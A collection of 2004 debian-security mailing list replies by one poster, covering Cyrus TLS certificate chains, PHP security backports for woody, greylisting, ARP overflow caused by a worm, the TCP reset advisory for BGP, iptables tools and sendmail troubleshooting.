Re: handling private keys
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Radu Spineanu wrote: > Hello > > I working on a small project, and i have a problem related to > keeping gpg private keys stored on usb drives secure when working > with them. > > My problem is that in case the machine is compromised, if the usb > with the key is mounted the attacker has access to it. > > Has anyone heard of an implementation, or at least a whitepaper > related to creating some kind of secure zone where i can keep these > keys ? It's a logical problem: If somone has compromised your machine there would be >no< possibility to make a difference between a legitimate user and an intruder. So he would possibly be able to read your private key! The only absolute solution would be a kind of intelligent usb drive which is accepting a file to decrypt or sign and offer the result. So somebody could use the key as long as you leave your usb drive in your machine, but not any longer! Unfortunatly science fiction at the moment. ;) Christian -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFCwW7oYqkpSde2O/gRAmaDAJ9G7MbEKx+4WGoxBenwOJYG4HgNdwCgzQlq JT+Ei0XB5OeqdTMwFmtfa2E= =zWZe -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Cyrus21 does not work corectly with SSL
On Di, 15.02.2005, 21:53, Nicolas Ledez wrote: > Le Tue, Feb 15, 2005 at 06:47:53PM +0100, Christian Storch a écrit : >> I've tried your scripts for creating root and server certs. >> Testing with s_client on two different servers I got no errors >> but nearly the same output you've posted! > I try to find more information for my certificate. > With openssl verify -CApath /etc/ssl/certs/ -issuer_checks > imap.winch.my.crt > I have "error 29 at 0 depth lookup:subject issuer mismatch" errors. > I think it's normaly. > What command can I use to test certificate ? Yes, I've the same error with working certs. The only simple possibility I know is to check by openssl x509 -in -noout -issuer -subject -startdate perhaps '-text' for more detailed information. But that's no check of trust relation! One possibility to test without a client server application is to import root cert, client cert and its key into a kind of OS made in Redmond. ;) If you want, you could send me your certs and key or make some new ones and I could test it on a couple of cyrus servers. So you could at least exclude this point of failure. Christian Christian -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Cyrus21 does not work corectly with SSL
On Di, 15.02.2005, 13:20, Nicolas Ledez wrote: > Le Tue, Feb 15, 2005 at 11:38:43AM +0100, Christian Storch a écrit : ... > My ca was generated with attach script. > And my cyrus cert with do script. > >> Nicolas: How you've created your certs? >> The commands with arguments and version of openssl, libssl would be >> interesting. >> Perhaps the lines with tls_... within your imapd.conf, too. > > tls_cert_file: /etc/cyrus/imap.winch.my.crt > tls_key_file: /etc/cyrus/imap.winch.my.key > tls_ca_path: /etc/ssl/certs > tls_session_timeout: 0 > tls_cipher_list: TLSv1:SSLv3:SSLv2:!NULL:!EXPORT:!DES:!LOW:@STRENGTH > I've tried your scripts for creating root and server certs. Testing with s_client on two different servers I got no errors but nearly the same output you've posted! woody: ii cyrus21-common 2.1.15-0woody.1.0Cyrus mail system (common files) ii cyrus21-imapd 2.1.15-0woody.1.0Cyrus mail system (IMAP support) ii libssl0.9.70.9.7d-0.backports.org.1 SSL shared libraries sid: ii cyrus21-common 2.1.17-3 Cyrus mail system (common files) ii cyrus21-imapd 2.1.17-3 Cyrus mail system (IMAP support) ii libssl0.9.70.9.7c-5 SSL shared libraries What versions are you using? - It's the only idea I have at the moment. Christian -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Cyrus21 does not work corectly with SSL
On Di, 15.02.2005, 00:25, Bernd Eckenfels wrote: > In article <[EMAIL PROTECTED]> you > wrote: >> 'Toto Root CA' seems to be a self signed certificate instead of an >> undependent certificate as your root certificate. You don't have to >> self sign a root certificate. > > You need a signature on all certificates, so root certificates are > selfsigned. > > Bernd Sorry, you're absolute right: No signing - no cert, also for root. Perhaps it was to late for me last night. ;) Nicolas: How you've created your certs? The commands with arguments and version of openssl, libssl would be interesting. Perhaps the lines with tls_... within your imapd.conf, too. Christian -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Cyrus21 does not work corectly with SSL
On Mo, 14.02.2005, 21:58, Nicolas Ledez wrote: > Hello, I have a Cyrus21 installation (Sarge). When I'm connect to cyrus > first time (after cyrus start) : > > [EMAIL PROTECTED]:~$ openssl s_client -connect my_host.my_domain.com:imaps > CONNECTED(0004) > depth=1 /C=MY/ST=France/L=SmallTown/O=Toto/OU=Certification Services > Division/CN=Toto Root CA/[EMAIL PROTECTED] > verify error:num=19:self signed certificate in certificate chain > verify return:0 'Toto Root CA' seems to be a self signed certificate instead of an undependent certificate as your root certificate. You don't have to self sign a root certificate. > --- > Certificate chain > 0 s:/C=MY/ST=France/L=SmallTown/O=Toto/OU=Secure Imap > Server/CN=imap.winch.my/[EMAIL PROTECTED] >i:/C=MY/ST=France/L=SmallTown/O=Toto/OU=Certification Services > Division/CN=Toto Root CA/[EMAIL PROTECTED] > 1 s:/C=MY/ST=France/L=SmallTown/O=Toto/OU=Certification Services > Division/CN=Toto Root CA/[EMAIL PROTECTED] >i:/C=MY/ST=France/L=SmallTown/O=Toto/OU=Certification Services > Division/CN=Toto Root CA/[EMAIL PROTECTED] As I understood your chain you only should sign 'imap.winch.my' with 'Toto Root CA'. Then your chain would look like something --- Certificate chain 0 s:... /CN=imap.winch.my ... i:... /CN=Toto Root CA ... --- with s = signed and i = issuer. Christian -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Any way to simulate traffic?
On Do, 13.01.2005, 20:37, Javier Pardo sagte: > Hello. > > I´m looking after a way to simulate traffic in order to probe my > iptables' rules. > > In other words. Is there any way, any command or any iptables parameter > to ask iptables what is going to do (according with the active rules) > when some traffic arrives? > > Thanks in advanced. RatÓn. Use sendip to simulate some kind of illegal packets typical for DoS and other unwanted things. Christian -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: php vulnerabilities
On Mi, 29.12.2004, 20:09, Felipe Augusto van de Wiel (faw) wrote: > At first I believe that security.debian.org could > handle this, but in fact, it is more patching and > backporting patches than new version for security reasons. > > We also have to consider that a "innocent" upgrade > (or dist-upgrade) could broken several things, specially > considering things like PHP, where internal changes can > drop backward compatibility. > > So, it looks like a good task for volatile or a > new line named sec-volatile (something like that). You can > have a kind of "backport" supported by Debian and Debian > Security Team. What do you think? First I think it shouldn't be a distro as each other for that it never would become a stable release by definition. But it could make security updates a little bit easier and perhaps more stable: They could be tested within a stable environment before moving into stable and breaking some relative packets. But at moment I'm not sure about what should be discussed in this thread. Is it going about an improvement of applying security updates to stable? Or more about the problem of non documented security patches of some upstreams (here php)? The latter will be the important question for me! What will be the policy of security team about these problems and perhaps how could the communty help to solve these problems? Christian -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: php vulnerabilities
On Di, 28.12.2004, 02:24, Michael Stone wrote: > On Thu, Dec 23, 2004 at 05:16:39PM +0100, Florian Weimer wrote: >>However, most of our packages haven't got test suites, and our >>dependency graph is certainly more convoluted than Red Hat's. For >>example, Red Hat probably has only a handful packages which depend on >>PHP. How do we make sure that the upgrade does not break any of the >>PHP-based packages we ship? > > Good question. The question that needs answering is whether we are > happier having secure, broken systems than insecure systems that > otherwise work. As soon as you start changing things you risk breaking > something, and we don't really have (IMO) a good line drawn. > >>My current idea is to borrow an idea from Microsoft: Create a Patch >>Validation Program. > > That might be a possibility--an unstable/testing model for the security > archive. I think we would need a new distribution e.g. 'sec-stable' for testing new security patches. So someone would be able to choose between 'more stable but less secure' or 'less stable but more secure'. Christian -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: php vulnerabilities
On Do, 23.12.2004, 21:16, Florian Weimer wrote: > * Jan Minar: > >> On Thu, Dec 23, 2004 at 05:16:39PM +0100, Florian Weimer wrote: >>> My current idea is to borrow an idea from Microsoft: Create a Patch >>> Validation Program. Under this program, you get access to security >>> fixes before the official release, and you can test if your >>> applications break. Of course, Microsoft requires NDAs because they >>> actually give you binaries a week or so before the regular patch day. >>> Debian wouldn't be able to do this, so patch validation could begin >>> only after the issue has been disclosed. We could use a separate >>> public archive, and after some soaking period, the new packages could >>> be officially released on security.debian.org. >> >> I think You are reinventing apt-listbugs ;-) > > apt-listbugs only helps if someone else has already burned his > fingers, *and* has filed a bug report with the proper severity and > tags. > > IOW, the soaking period is required. And what is Debian 'unstable' now? ;) Christian -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: php vulnerability
On Di, 21.12.2004, 17:35, Sam Morris wrote: > Florian Weimer wrote: >> * Christian Storch: >> > > Use a backport of PHP 4.3.10. Apparently, there is no other way at >> > > this stage to be sure. (Upstream no longer supports PHP 4.1.x.) >> > >> > What about a kind of fork into php4-1 for woody? >> >> The diff from 4.3.9 to 4.3.10 is about 4,000 lines long. It contains >> other changes, of course, but you still have to isolate the security >> fixes. However, in the past, the PHP team neither provided clear >> descriptions of security bugs, nor were the CVS log messages >> enlightening. From Debian's point of view, the situation gets more >> difficult as other distributions withdraw PHP 4.1.x support. >> >> What's worse, some of the changed parts are not covered by the PHP >> test suite. This means that regression testing is not possible (until >> the update has been installed on a large number of machines). >> >>>Or are there any considerations within security team about patching >>>4.1 in woody? >> >> We are talking about a >> person-week of work, for someone who is not familiar with the PHP code >> base. Significantly less work is required if upstream is somewhat >> supportive and provides a clear description of the bugs, including >> proper test cases. > > I'm sure saying this won't win my any friends, but should software that > the security team is unable to support have a place in a stable release > of Debian? > > The discussion about volitile.debian.org showed that a newer branch of > software can't very well be backported to Stable when upstream drops > support for the version that Stable includes, so that's not an option. > To mention nothing about maintaining the Stability of a stable release. Don't know if anyone misunderstood my suggestion of "php4-1": I mean a second branch of php in stable with version 4.3.X which could (hopefully) further be supported by secutity team. My opinion: increase security for the price of a shorter time of testing. And a second branch would avoid any unpredictable script problems after careless upgrading. And what about http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=285845 It's giving a little hope that it could be possible to backport the security fixes? Christian -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: php vulnerability
On Di, 21.12.2004, 10:13, Florian Weimer sagte: > * saravanan ganapathy: > >> I am also worrying about these vulnerabilities.btw I >> am using debian php package(4.1.2) on woody. >> How do I sure that I am out of danger? > > Use a backport of PHP 4.3.10. Apparently, there is no other way at > this stage to be sure. (Upstream no longer supports PHP 4.1.x.) > What about a kind of fork into php4-1 for woody? I think now these exception would be indicated to be able to use security.debian.org furthermore for webservers etc. -> Who knows when sarge will become stable and in particular everyone will be able to switch to it? Or are there any considerations within security team about patching 4.1 in woody? Christian -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: murphy in sbl.spamhaus.org
On Sa, 27.11.2004, 03:43, Stephen Gran wrote: ... > I guess what I'm trying to say is, I understand your misgivings, beause > people implementing most anything can manage to do it in a really stupid, > painful and harmful way. That doesn't necessarily mean the idea is > unsound. Greylisting is, itself, a one-trick pony. It will lose it's > effectiveness whenever spammers get around to implementing queues on > their zombie clients. OTOH, admin'ing an MTA these days is an arms race, > and a new weapon can be a lot of help. I disagree here. If only a few of us would use greylisting no spammer would think about implementing queues. But if the majority would use it and they (the spammers) implement queues, it could end in a disaster for them. Or how would you call a queue with millions of messages waiting? And now for the warriors among us: At that point you could play with the time window perhaps using random shifts to at least knock them out. I'm using mimedefang as my 'aircraft-carrier' for such games. ;) You are able to react very fast with that tool if the situation would change! Christian -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: murphy in sbl.spamhaus.org
On Fr, 26.11.2004, 03:34, Stephen Frost wrote: > * Adrian 'Dagurashibanipal' von Bidder ([EMAIL PROTECTED]) wrote: >> >> And, of course, postgrey as the very first line of defense. >> >> Coupled with the usual checking on HELO (blocking 'localhost' HELOs and >> my >> own IP does wonders!), SMTP protocol conformance (pipelining), sender >> (envelope) address checking. > > Things which increase the load on the remote mail servers are *bad*. > That would include responding with temporary errors unnecessairly and > adding unnecessary delays in communication. pipelining by itself isn't > necessairly terrible- adding things like 2 minute delays is bad though. What about greylisting depending on results of e.g. SA? Only above a limit of scores from SA greylisting would be become active. Christian -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: arp table overflow due to windows worm
On Sa, 16.10.2004, 16:21, Ben Goedeke wrote: > Kurt Roeckx wrote: ... > Hmm. That gives me an idea: > > Destination Gateway Flags Metric Ref Use Iface > 134.102.0.0/16 0.0.0.0 UG0 0 0 eth1 > > With such a routing entry the firewall will try and resolve mac > addresses when the worm is scanning 134.102.xxx.0 subnets, right? I off > to the site to do some experimenting. Yes! That's what I want to say with my first posting. Christian -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: arp table overflow due to windows worm
On Sa, 16.10.2004, 13:39, Benjamin Goedeke wrote: ... > ethernet address, namely the one of the upstream router.) So it seems > arp resolution occurs even though the packets are being dropped. That's > why I thought the bridge before the firewall could be a good idea. But > I guess the net gets clogged even before it reaches the bridge. Yes! That resolution is independend from chain FORWARD. It look's into the routing table for the next hop of a packet before using netfilter with FORWARD chain. And then that could happen I wrote in my message some hours before! Christian -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: arp table overflow due to windows worm
On Sa, 16.10.2004, 07:58, Henrique de Moraes Holschuh wrote: > On Sat, 16 Oct 2004, Ben Goedeke wrote: >> Should it really be possible for a single infected windows machine to >> dos >> a linux firewall? Please tell me it's not true and there's just >> something >> I'm overlooking. I'm at my wits end here and don't even know what to try >> next. So any pointers are much appreciated. > > Well, I have seen ARP overflows on very big flat networks (e.g. > 172.16.0.0/16) for example. Is any of yours that big? Otherwise, why > would > the firewall be trying to resolve so many ARP addresses, instead of > forwarding the packets to its default gateway, or rejecting the IP packets > as unrouteable? > Do you have a route entry like 0.0.0.0 0.0.0.0 0.0.0.0 UG0 00 eth0 instead of 0.0.0.0 1.2.3.4 0.0.0.0 UG0 00 eth0 with 1.2.3.4 as the next hop to your isp? That would generate an arp overflow very fast if you try sending to permanently changing ip adresses outside your network as typical worms would do! Christian -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
RE: [DSA 563-2] New cyrus-sasl packages really fix arbitrary code execution
Have a look at http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=276268 Perhaps it would help you for the moment to recompile the package as I did. Christian -Original Message- From: Frank Strau? [mailto:[EMAIL PROTECTED] Sent: Wednesday, October 13, 2004 9:43 AM To: [EMAIL PROTECTED] Subject: Re: [DSA 563-2] New cyrus-sasl packages really fix arbitrary code execution I'm sorry to say that, but version 1.5.27-3woody3 seems to still have at least one common bug with the previous "woody2" version: We use it for our sendmail server. Along with "woody2" *and* "woody3", sendmail is not able to detect the available SASL-based AUTH mechanisms. So I had to downgrade again to libsasl7_1.5.27-3_i386.deb. When I run sendmail with some verbose debugging output, this (the second line) seems to be interesting: Oct 13 09:23:41 agitator sendmail[18145]: gethostbyaddr(192.168.0.2) failed: 1 Oct 13 09:23:41 agitator sendmail[18145]: error: safesasl(\004/Sendmail.conf) failed: No such file or directory Oct 13 09:23:41 agitator sendmail[18145]: NOQUEUE: connect from [EMAIL PROTECTED] Oct 13 09:23:41 agitator sendmail[18145]: STARTTLS=server, Diffie-Hellman init, key=512 bit (1) Oct 13 09:23:41 agitator sendmail[18145]: STARTTLS=server, init=1 Oct 13 09:23:41 agitator sendmail[18145]: AUTH warning: no mechanisms Oct 13 09:23:41 agitator sendmail[18145]: i9D7Nf56018145: Milter (mimedefang): init success to negotiate Oct 13 09:23:41 agitator sendmail[18145]: i9D7Nf56018145: Milter: connect to filters Oct 13 09:23:41 agitator sendmail[18145]: i9D7Nf56018145: milter=mimedefang, action=connect, continue -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
RE: Major TCP Vulnerability (CERT, BGP)
Sorry, in the case of BGP this would mean CERT is assuming that every ISP is ignoring the well known issue about vulnerability of Cisco routers and perhaps others. After that very urgent mailing about half a year ago I've edited as other ISP's especially all BGP relevant filters in such a manner that only the necessary p2p connections will be allowed. Compared to solve other vulnerability problems a very easy job! For the remaining rest I agree to Phillip that its possible to sleep well in near future. ;) The problem is mainly essential to well known connections. But I think its a kind of playing roulette to hit a 16 bit window within a 32 bit sequential number! Now please don't misunderstand me - I think it's a problem which has to be worked on! I think a kind of three way handshaking or "RST cookie" could be a solution. Than it's only a small problem of compatibility for that the missing ability of reset could often be solved by timeouts or keepalive protocols. Christian -Original Message- From: Jones, Steven [mailto:[EMAIL PROTECTED] Sent: Tuesday, April 20, 2004 11:15 PM To: debian-security@lists.debian.org Subject: RE: Major TCP Vulnerability CERT has issued a vulnerability email. They seem to think it's a little more serious 8>< Technical Cyber Security Alert TA04-111A archive Vulnerabilities in TCP Original release date: April 20, 2004 Last revised: -- Source: US-CERT Systems Affected * Systems that rely on persistent TCP connections, for example routers supporting BGP 8>< Your info may run over a IPSEC link but if the border routers of your ISP go down, your still stuffed. regards Thing -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Phillip Hofmeister Sent: Wednesday, 21 April 2004 8:42 a.m. To: debian-security@lists.debian.org Subject: Re: Major TCP Vulnerability On Tue, 20 Apr 2004 at 02:49:48PM -0400, Thomas Sj?gren wrote: > Since the article is for subscribers only, this is a "wild" guess: > http://www.uniras.gov.uk/vuls/2004/236929/index.htm This article isn't anything I am going to loose sleep over. Any mission critical long term TCP connections over an untrusted network (The Internet) should already be using IPSec. As for non-mission critical connections, the two parties will just reconnect at a later time. Also, unless the attackers know the source port of the client side of the TCP connection, this attack is useless. The only way for them to get the client/source port would be to: A) Have access to the datastream (if this is the case, you have more to worry about than them resetting your connection). B) Have login access to either machine and then run netstat (or a similar) utility which will tell them the information. -- Phillip Hofmeister PGP/GPG Key: http://www.zionlth.org/~plhofmei/ wget -O - http://www.zionlth.org/~plhofmei/key.asc | gpg --import - End forwarded message - -- Phillip Hofmeister PGP/GPG Key: http://www.zionlth.org/~plhofmei/ wget -O - http://www.zionlth.org/~plhofmei/key.asc | gpg --import -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
RE: Major TCP Vulnerability (CERT, BGP)
Sorry, in the case of BGP this would mean CERT is assuming that every ISP is ignoring the well known issue about vulnerability of Cisco routers and perhaps others. After that very urgent mailing about half a year ago I've edited as other ISP's especially all BGP relevant filters in such a manner that only the necessary p2p connections will be allowed. Compared to solve other vulnerability problems a very easy job! For the remaining rest I agree to Phillip that its possible to sleep well in near future. ;) The problem is mainly essential to well known connections. But I think its a kind of playing roulette to hit a 16 bit window within a 32 bit sequential number! Now please don't misunderstand me - I think it's a problem which has to be worked on! I think a kind of three way handshaking or "RST cookie" could be a solution. Than it's only a small problem of compatibility for that the missing ability of reset could often be solved by timeouts or keepalive protocols. Christian -Original Message- From: Jones, Steven [mailto:[EMAIL PROTECTED] Sent: Tuesday, April 20, 2004 11:15 PM To: [EMAIL PROTECTED] Subject: RE: Major TCP Vulnerability CERT has issued a vulnerability email. They seem to think it's a little more serious 8>< Technical Cyber Security Alert TA04-111A archive Vulnerabilities in TCP Original release date: April 20, 2004 Last revised: -- Source: US-CERT Systems Affected * Systems that rely on persistent TCP connections, for example routers supporting BGP 8>< Your info may run over a IPSEC link but if the border routers of your ISP go down, your still stuffed. regards Thing -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Phillip Hofmeister Sent: Wednesday, 21 April 2004 8:42 a.m. To: [EMAIL PROTECTED] Subject: Re: Major TCP Vulnerability On Tue, 20 Apr 2004 at 02:49:48PM -0400, Thomas Sj?gren wrote: > Since the article is for subscribers only, this is a "wild" guess: > http://www.uniras.gov.uk/vuls/2004/236929/index.htm This article isn't anything I am going to loose sleep over. Any mission critical long term TCP connections over an untrusted network (The Internet) should already be using IPSec. As for non-mission critical connections, the two parties will just reconnect at a later time. Also, unless the attackers know the source port of the client side of the TCP connection, this attack is useless. The only way for them to get the client/source port would be to: A) Have access to the datastream (if this is the case, you have more to worry about than them resetting your connection). B) Have login access to either machine and then run netstat (or a similar) utility which will tell them the information. -- Phillip Hofmeister PGP/GPG Key: http://www.zionlth.org/~plhofmei/ wget -O - http://www.zionlth.org/~plhofmei/key.asc | gpg --import - End forwarded message - -- Phillip Hofmeister PGP/GPG Key: http://www.zionlth.org/~plhofmei/ wget -O - http://www.zionlth.org/~plhofmei/key.asc | gpg --import -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
RE: setting up iptables
Have a look at http://www.netfilter.org/ - there you could find all about it. If you want a nice html configuration, start a firewall script from above and import it by 'webmin-firewall'. Christian -Original Message- From: Costas Magkos [mailto:[EMAIL PROTECTED] Sent: Thursday, March 04, 2004 4:15 PM To: Debian Security Subject: setting up iptables Hi all, Can someone give me some best-practices for setting up iptables on a Debian system? I'm looking for things like where should the rules be placed, what startup script to use [1], good configuration tools [2] and so on. URLs are appreciated, I dont mind reading :-) I'm currently setting up iptables on a single-server enviroment (no routing), but since I will be using iptables a lot, general concepts are also welcome. -- [1] When looking around how to set up iptables, I found in /etc/default/iptables some discouraging words (apparently from the author) about the usage of the iptables init.d script, which can be summarized to this: "Do not use it". Why not? And if not, is there any other way? [2] I tried firestarter, seems nice. However, it produces a large ruleset with tones of redundant rules and /proc optimizations (for instance, the anti-spoof filtering is activated by default). It involves too much editing, which I have no problem doing it if someone tells me it's worth it. Thanks in advance, ~kmag Costas Magkos Internet Systematics Lab Athens, Greece -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
RE: setting up iptables
Have a look at http://www.netfilter.org/ - there you could find all about it. If you want a nice html configuration, start a firewall script from above and import it by 'webmin-firewall'. Christian -Original Message- From: Costas Magkos [mailto:[EMAIL PROTECTED] Sent: Thursday, March 04, 2004 4:15 PM To: Debian Security Subject: setting up iptables Hi all, Can someone give me some best-practices for setting up iptables on a Debian system? I'm looking for things like where should the rules be placed, what startup script to use [1], good configuration tools [2] and so on. URLs are appreciated, I dont mind reading :-) I'm currently setting up iptables on a single-server enviroment (no routing), but since I will be using iptables a lot, general concepts are also welcome. -- [1] When looking around how to set up iptables, I found in /etc/default/iptables some discouraging words (apparently from the author) about the usage of the iptables init.d script, which can be summarized to this: "Do not use it". Why not? And if not, is there any other way? [2] I tried firestarter, seems nice. However, it produces a large ruleset with tones of redundant rules and /proc optimizations (for instance, the anti-spoof filtering is activated by default). It involves too much editing, which I have no problem doing it if someone tells me it's worth it. Thanks in advance, ~kmag Costas Magkos Internet Systematics Lab Athens, Greece -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
RE: apt-get upgrade and kernel images
To make it simply and clear use apt-cache policy kernel-image-2.4.24-1-686-smp and you will see what would be done and why. Christian -Original Message- From: Andris Kalnozols [mailto:[EMAIL PROTECTED] Sent: Friday, February 27, 2004 9:42 AM To: debian-security@lists.debian.org Subject: apt-get upgrade and kernel images I am running Debian testing and seem to recall that it was the policy of apt-get to never bring in a kernel image package when doing an upgrade after an update. One had to specifically run `apt-get install kernel-image-whatever'. However, the following has happened to me for the second time: lpans1# dpkg -l | grep kernel-image ii kernel-image-2 2.4.23-1 Linux kernel image for version 2.4.23 on PPr ii kernel-image-2 2.4.24-2 Linux kernel image for version 2.4.24 on PPr lpans1# uname -a Linux lpans1 2.4.24-1-686-smp #1 SMP Wed Feb 4 21:29:16 EST 2004 i686 GNU/Linux lpans1# apt-get upgrade Reading Package Lists... Done Building Dependency Tree... Done The following packages will be upgraded: console-common console-data console-tools ddd gettext gettext-base gettext-el kernel-image-2.4.24-1-686-smp libconsole libgphoto2-2 ^ libgphoto2-port0 libnewt0.51 libperl-dev libperl5.8 libusb-0.1-4 mime-support ncftp perl perl-base perl-doc perl-modules reportbug sgml-data wget whiptail zsh 26 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. Need to get 35.3MB of archives. After unpacking 755kB of additional disk space will be used. Do you want to continue? [Y/n] Why is apt-get now bringing in kernel-image packages and needlessly so since I already have the indicated version installed? Thanks, Andris Kalnozols -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
RE: apt-get upgrade and kernel images
To make it simply and clear use apt-cache policy kernel-image-2.4.24-1-686-smp and you will see what would be done and why. Christian -Original Message- From: Andris Kalnozols [mailto:[EMAIL PROTECTED] Sent: Friday, February 27, 2004 9:42 AM To: [EMAIL PROTECTED] Subject: apt-get upgrade and kernel images I am running Debian testing and seem to recall that it was the policy of apt-get to never bring in a kernel image package when doing an upgrade after an update. One had to specifically run `apt-get install kernel-image-whatever'. However, the following has happened to me for the second time: lpans1# dpkg -l | grep kernel-image ii kernel-image-2 2.4.23-1 Linux kernel image for version 2.4.23 on PPr ii kernel-image-2 2.4.24-2 Linux kernel image for version 2.4.24 on PPr lpans1# uname -a Linux lpans1 2.4.24-1-686-smp #1 SMP Wed Feb 4 21:29:16 EST 2004 i686 GNU/Linux lpans1# apt-get upgrade Reading Package Lists... Done Building Dependency Tree... Done The following packages will be upgraded: console-common console-data console-tools ddd gettext gettext-base gettext-el kernel-image-2.4.24-1-686-smp libconsole libgphoto2-2 ^ libgphoto2-port0 libnewt0.51 libperl-dev libperl5.8 libusb-0.1-4 mime-support ncftp perl perl-base perl-doc perl-modules reportbug sgml-data wget whiptail zsh 26 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. Need to get 35.3MB of archives. After unpacking 755kB of additional disk space will be used. Do you want to continue? [Y/n] Why is apt-get now bringing in kernel-image packages and needlessly so since I already have the indicated version installed? Thanks, Andris Kalnozols -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: sendmail problem:connection timed out
Are you able to ping 64.4.33.7 !? If so, try 'telnet 64.4.33.7 25' next to get a smtp prompt. If nothing works look at your connection: Firewall rules etc. Beside that your sendmail seems to work. Christian - Original Message - From: "arun raj" <[EMAIL PROTECTED]> To: Sent: Monday, January 05, 2004 11:48 AM Subject: sendmail problem:connection timed out hello, I am using sendmail 8.12 in redhat linux9.0 to send mail.It sends the message between the internal network. But it doesnot send the message to the external network. I want to send mail to [EMAIL PROTECTED] But it is not sending mail.The following logs are generated in maillog . >From the message i understand that it is accepting the mail.But it is not able to relay to the user_account @hotmail.com Please reply as soon as possible. very urgent. logs ** Jan 5 12:04:56 arun sendmail[5213]: i056YuFS005213: from=root, size=133, class=0, nrcpts=1, msgid=<[EMAIL PROTECTED]>, [EMAIL PROTECTED] Jan 5 12:04:56 arun sendmail[5215]: i056Yuor005215: from=<[EMAIL PROTECTED]>, size=333, class=0, nrcpts=1, msgid=<[EMAIL PROTECTED]>, proto=ESMTP, daemon=MTA, relay=localhost [127.0.0.1] (may be forged) Jan 5 12:04:56 arun sendmail[5213]: i056YuFS005213: [EMAIL PROTECTED], ctladdr=root (0/0), delay=00:00:00, xdelay=00:00:00, mailer=relay, pri=30086, relay=[127.0.0.1] [127.0.0.1], dsn=2.0.0, stat=Sent (i056Yuor005215 Message accepted for delivery) Jan 5 12:07:56 arun sendmail[5217]: i056Yuor005215: to=<[EMAIL PROTECTED]>, ctladdr=<[EMAIL PROTECTED]> (0/0), delay=00:03:00, xdelay=00:03:00, mailer=esmtp, pri=30286, relay=hotmail.com [64.4.33.7], dsn=4.0.0, stat=Deferred: Connection timed out with hotmail.com thanks, arun my email_id: [EMAIL PROTECTED] Yahoo! India Matrimony: Find your partner online. Go to http://yahoo.shaadi.com -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: sendmail problem:connection timed out
